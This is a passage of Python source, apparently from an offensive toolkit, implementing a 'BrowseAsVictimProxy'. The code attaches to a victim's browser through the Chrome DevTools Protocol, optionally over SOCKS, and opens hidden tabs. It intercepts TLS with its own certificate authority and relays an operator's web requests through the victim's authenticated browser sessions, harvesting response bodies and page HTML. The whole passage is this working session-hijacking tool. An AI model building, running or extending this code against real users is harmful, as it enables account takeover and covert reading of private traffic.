|
|
|
|
async def _wait_for_response_pause(
|
|
self,
|
|
request_id: str,
|
|
network_id: str | None,
|
|
) -> dict[str, Any] | ProxiedResponse:
|
|
deadline = time.monotonic() + self.fetch_timeout
|
|
network_response: ProxiedResponse | None = None
|
|
network_frame_id: str | None = None
|
|
network_url: str | None = None
|
|
network_resource_type: str | None = None
|
|
while True:
|
|
event = await self._next_event(deadline)
|
|
method = event.get("method")
|
|
params = event.get("params", {})
|
|
event_request_id = params.get("requestId")
|
|
|
|
if method == "Network.responseReceived" and network_id and event_request_id == network_id:
|
|
response = params.get("response", {})
|
|
status_code = int(response.get("status") or 502)
|
|
reason = str(response.get("statusText") or _reason_phrase(status_code))
|
|
headers = _normalize_response_header_map(response.get("headers", {}))
|
|
network_response = ProxiedResponse(status_code, reason, headers, b"")
|
|
network_frame_id = params.get("frameId")
|
|
network_url = response.get("url")
|
|
network_resource_type = params.get("type")
|
|
info("proxy {} observed Network.responseReceived {} {}", self.name, status_code, reason)
|
|
continue
|
|
|
|
if method == "Network.loadingFinished" and network_id and event_request_id == network_id:
|
|
if network_response is None:
|
|
continue
|
|
try:
|
|
await self._disable_fetch()
|
|
except Exception as exc:
|
|
warn("Fetch.disable failed before Network body fallback: {}", _format_exception(exc))
|
|
try:
|
|
body_result = await self._session_send(
|
|
"Network.getResponseBody",
|
|
{"requestId": network_id},
|
|
timeout=5,
|
|
)
|
|
network_response.body = _body_from_cdp(body_result)
|
|
except Exception as exc:
|
|
warn("Network.getResponseBody failed for {}: {}", network_id, _format_exception(exc))
|
|
if network_frame_id and network_url:
|
|
try:
|
|
content_result = await self._session_send(
|
|
"Page.getResourceContent",
|
|
{"frameId": network_frame_id, "url": network_url},
|
|
timeout=5,
|
|
)
|
|
network_response.body = _resource_content_from_cdp(content_result)
|
|
except Exception as resource_exc:
|
|
warn(
|
|
"Page.getResourceContent failed for {}: {}",
|
|
network_url,
|
|
_format_exception(resource_exc),
|
|
)
|
|
if not network_response.body and network_resource_type == "Document":
|
|
try:
|
|
html_result = await self._session_send(
|
|
"Runtime.evaluate",
|
|
{
|
|
"expression": DOCUMENT_HTML_EXPRESSION,
|
|
"returnByValue": True,
|
|
"awaitPromise": True,
|
|
},
|
|
timeout=5,
|
|
)
|
|
html = html_result.get("result", {}).get("value") or ""
|
|
network_response.body = str(html).encode("utf-8")
|
|
except Exception as dom_exc:
|
|
warn(
|
|
"Runtime document serialization failed for {}: {}",
|
|
network_url or network_id,
|
|
_format_exception(dom_exc),
|
|
)
|
|
try:
|
|
await self._enable_fetch()
|
|
except Exception as exc:
|
|
warn("Fetch.enable failed after Network body fallback: {}", _format_exception(exc))
|
|
return network_response
|
|
|
|
if method == "Network.loadingFailed" and network_id and params.get("requestId") == network_id:
|
|
error_text = params.get("errorText") or "unknown network failure"
|
|
canceled = " canceled" if params.get("canceled") else ""
|
|
raise RuntimeError(f"CDP network request failed{canceled}: {error_text}")
|
|
if method != "Fetch.requestPaused":
|
|
continue
|
|
if params.get("requestId") != request_id:
|
|
continue
|
|
if params.get("responseStatusCode") is None:
|
|
continue
|
|
return event
|
|
|
|
|
|
class HiddenTabPool:
|
|
def __init__(
|
|
self,
|
|
cdp: CDPClient,
|
|
size: int,
|
|
fetch_timeout: float,
|
|
hidden: bool,
|
|
subresource_loader: bool,
|
|
deny_downloads: bool,
|
|
) -> None:
|
|
self.cdp = cdp
|
|
self.size = size
|
|
self.fetch_timeout = fetch_timeout
|
|
self.hidden = hidden
|
|
self.subresource_loader = subresource_loader
|
|
self.deny_downloads = deny_downloads
|
|
self.tabs: list[HiddenTab] = []
|
|
|
|
async def start(self) -> None:
|
|
for index in range(self.size):
|
|
tab = HiddenTab(
|
|
self.cdp,
|
|
f"tab-{index + 1}",
|
|
self.fetch_timeout,
|
|
self.hidden,
|
|
self.subresource_loader,
|
|
self.deny_downloads,
|
|
)
|
|
await tab.start()
|
|
self.tabs.append(tab)
|
|
info("proxy tab pool ready with {} tabs", len(self.tabs))
|
|
|
|
async def close(self) -> None:
|
|
for tab in self.tabs:
|
|
await tab.close()
|
|
self.tabs.clear()
|
|
|
|
async def fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse:
|
|
if not self.tabs:
|
|
raise RuntimeError("proxy tab pool is not initialized")
|
|
for tab in self.tabs:
|
|
if not tab.lock.locked():
|
|
return await tab.fetch(request, absolute_url)
|
|
return await self.tabs[0].fetch(request, absolute_url)
|
|
|
|
|
|
async def _read_chunked_body(reader: asyncio.StreamReader) -> bytes:
|
|
chunks: list[bytes] = []
|
|
while True:
|
|
line = await reader.readline()
|
|
if not line:
|
|
raise ValueError("unexpected EOF reading chunked request body")
|
|
chunk_size = int(line.strip().split(b";", 1)[0], 16)
|
|
if chunk_size == 0:
|
|
while True:
|
|
trailer = await reader.readline()
|
|
if trailer in {b"\r\n", b"\n", b""}:
|
|
break
|
|
return b"".join(chunks)
|
|
chunks.append(await reader.readexactly(chunk_size))
|
|
await reader.readexactly(2)
|
|
|
|
|
|
async def _read_http_request(reader: asyncio.StreamReader) -> HttpRequest | None:
|
|
try:
|
|
head = await reader.readuntil(b"\r\n\r\n")
|
|
except asyncio.IncompleteReadError:
|
|
return None
|
|
except asyncio.LimitOverrunError as exc:
|
|
raise ValueError("request headers exceeded stream limit") from exc
|
|
|
|
lines = head.decode("iso-8859-1").split("\r\n")
|
|
request_line = lines[0]
|
|
if not request_line:
|
|
return None
|
|
parts = request_line.split(" ", 2)
|
|
if len(parts) != 3:
|
|
raise ValueError(f"invalid HTTP request line: {request_line!r}")
|
|
method, target, version = parts
|
|
|
|
headers: list[tuple[str, str]] = []
|
|
for line in lines[1:]:
|
|
if not line or ":" not in line:
|
|
continue
|
|
name, _, value = line.partition(":")
|
|
headers.append((name.strip(), value.lstrip()))
|
|
|
|
header_map = {name.lower(): value for name, value in headers}
|
|
body = b""
|
|
if header_map.get("transfer-encoding", "").lower() == "chunked":
|
|
body = await _read_chunked_body(reader)
|
|
elif "content-length" in header_map:
|
|
length = int(header_map.get("content-length") or "0")
|
|
if length > 0:
|
|
body = await reader.readexactly(length)
|
|
|
|
return HttpRequest(method=method.upper(), target=target, version=version, headers=headers, body=body)
|
|
|
|
|
|
async def _write_http_response(
|
|
writer: asyncio.StreamWriter,
|
|
response: ProxiedResponse,
|
|
*,
|
|
keep_alive: bool,
|
|
) -> None:
|
|
headers = [
|
|
(name, value)
|
|
for name, value in response.headers
|
|
if name.lower() not in HOP_BY_HOP_HEADERS and name.lower() != "content-length"
|
|
]
|
|
headers.append(("Content-Length", str(len(response.body))))
|
|
headers.append(("Connection", "keep-alive" if keep_alive else "close"))
|
|
|
|
writer.write(f"HTTP/1.1 {response.status_code} {response.reason}\r\n".encode("iso-8859-1"))
|
|
for name, value in headers:
|
|
writer.write(f"{name}: {value}\r\n".encode("iso-8859-1", errors="ignore"))
|
|
writer.write(b"\r\n")
|
|
if response.body:
|
|
writer.write(response.body)
|
|
with contextlib.suppress(ConnectionResetError, BrokenPipeError):
|
|
await writer.drain()
|
|
|
|
|
|
def _error_response(status: HTTPStatus, message: str) -> ProxiedResponse:
|
|
body = message.encode("utf-8", errors="replace")
|
|
return ProxiedResponse(
|
|
status_code=status.value,
|
|
reason=status.phrase,
|
|
headers=[("Content-Type", "text/plain; charset=utf-8")],
|
|
body=body,
|
|
)
|
|
|
|
|
|
class BrowseAsVictimProxy:
|
|
def __init__(self, options: BrowseAsVictimProxyOptions):
|
|
self.options = options
|
|
self.ca = CertAuthority(options.cert_dir)
|
|
self.cdp: CDPClient | None = None
|
|
self.pool: HiddenTabPool | None = None
|
|
self.server: asyncio.AbstractServer | None = None
|
|
self.closed = asyncio.Event()
|
|
|
|
async def start(self) -> None:
|
|
self.ca.ensure_ca()
|
|
self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks)
|
|
self.pool = HiddenTabPool(
|
|
self.cdp,
|
|
self.options.pool_size,
|
|
self.options.fetch_timeout,
|
|
self.options.hidden,
|
|
self.options.subresource_loader,
|
|
self.options.deny_downloads,
|
|
)
|
|
await self.pool.start()
|
|
self.server = await asyncio.start_server(
|
|
self._handle_client,
|
|
host=self.options.listen_host,
|
|
port=self.options.listen_port,
|
|
limit=1024 * 1024,
|
|
)
|
|
|
|
async def stop(self) -> None:
|
|
if self.closed.is_set():
|
|
return
|
|
self.closed.set()
|
|
if self.server:
|
|
self.server.close()
|
|
await self.server.wait_closed()
|
|
self.server = None
|
|
if self.pool:
|
|
await self.pool.close()
|
|
self.pool = None
|
|
if self.cdp:
|
|
await self.cdp.close()
|
|
self.cdp = None
|
|
|
|
async def wait_closed(self) -> None:
|
|
await self.closed.wait()
|
|
|
|
async def _handle_client(self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
|
|
peer = writer.get_extra_info("peername") or ("?", 0)
|
|
info("proxy client connected {}:{}", peer[0], peer[1])
|
|
try:
|
|
await self._serve_connection(reader, writer, default_scheme="http")
|
|
except Exception as exc:
|
|
if _is_expected_client_disconnect(exc):
|
|
info("proxy client disconnected {}:{} {}", peer[0], peer[1], _format_exception(exc))
|
|
else:
|
|
warn("proxy client error {}:{} {}", peer[0], peer[1], _format_exception(exc))
|
|
finally:
|
|
writer.close()
|
|
with contextlib.suppress(Exception):
|
|
await writer.wait_closed()
|
|
|
|
async def _serve_connection(
|
|
self,
|
|
reader: asyncio.StreamReader,
|
|
writer: asyncio.StreamWriter,
|
|
*,
|
|
default_scheme: str,
|
|
connect_host: str | None = None,
|
|
connect_port: int | None = None,
|
|
) -> None:
|
|
assert self.pool is not None
|
|
while True:
|
|
try:
|
|
request = await _read_http_request(reader)
|
|
except Exception as exc:
|
|
if _is_expected_client_disconnect(exc):
|
|
info("proxy request ended: {}", _format_exception(exc))
|
|
else:
|
|
warn("proxy request parse failed: {}", _format_exception(exc))
|
|
return
|
|
if request is None:
|
|
return
|
|
|
|
if request.method == "CONNECT":
|
|
await self._handle_connect(request, reader, writer)
|
|
return
|
|
|
|
keep_alive = request.should_keep_alive()
|
|
try:
|
|
absolute_url = _absolute_url(request, default_scheme, connect_host, connect_port)
|
|
response = await self.pool.fetch(request, absolute_url)
|
|
location = response_header(response, "Location")
|
|
info(
|
|
"proxy {} {} -> {} {} bytes={}{}",
|
|
request.method,
|
|
absolute_url,
|
|
response.status_code,
|
|
response.reason,
|
|
len(response.body),
|
|
f" location={location}" if location else "",
|
|
)
|
|
except Exception as exc:
|
|
error_text = _format_exception(exc)
|
|
warn("proxy fetch failed {} {}: {}", request.method, request.target, error_text)
|
|
response = _error_response(HTTPStatus.BAD_GATEWAY, error_text)
|
|
keep_alive = False
|
|
|
|
await _write_http_response(writer, response, keep_alive=keep_alive)
|
|
if not keep_alive:
|
|
return
|
|
|
|
async def _handle_connect(
|
|
self,
|
|
request: HttpRequest,
|
|
reader: asyncio.StreamReader,
|
|
writer: asyncio.StreamWriter,
|
|
) -> None:
|
|
hostname, port = _split_authority(request.target, 443)
|
|
writer.write(b"HTTP/1.1 200 Connection Established\r\n\r\n")
|
|
await writer.drain()
|
|
await writer.start_tls(self.ca.ssl_context_for_host(hostname))
|
|
await self._serve_connection(
|
|
reader,
|
|
writer,
|
|
default_scheme="https",
|
|
connect_host=hostname,
|
|
connect_port=port,
|
|
)
|
|
|
|
|
|
def response_header(response: ProxiedResponse, name: str) -> str | None:
|
|
name_l = name.lower()
|
|
for header_name, value in response.headers:
|
|
if header_name.lower() == name_l:
|
|
return value
|
|
return None
|
|
|
|
|
|
async def serve_browse_as_victim_proxy(options: BrowseAsVictimProxyOptions) -> None:
|
|
proxy = BrowseAsVictimProxy(options)
|
|
await proxy.start()
|
|
print(f"CDP proxy listening on http://{options.listen_host}:{options.listen_port}")
|
|
print(f"Operator browser proxy: {options.listen_host}:{options.listen_port}")
|
|
print(f"CA certificate: {proxy.ca.ca_cert_path.resolve()}")
|
|
print("Press Ctrl+C to stop.")
|
|
try:
|
|
await proxy.wait_closed()
|
|
except asyncio.CancelledError:
|
|
pass
|
|
finally:
|
|
await proxy.stop()
|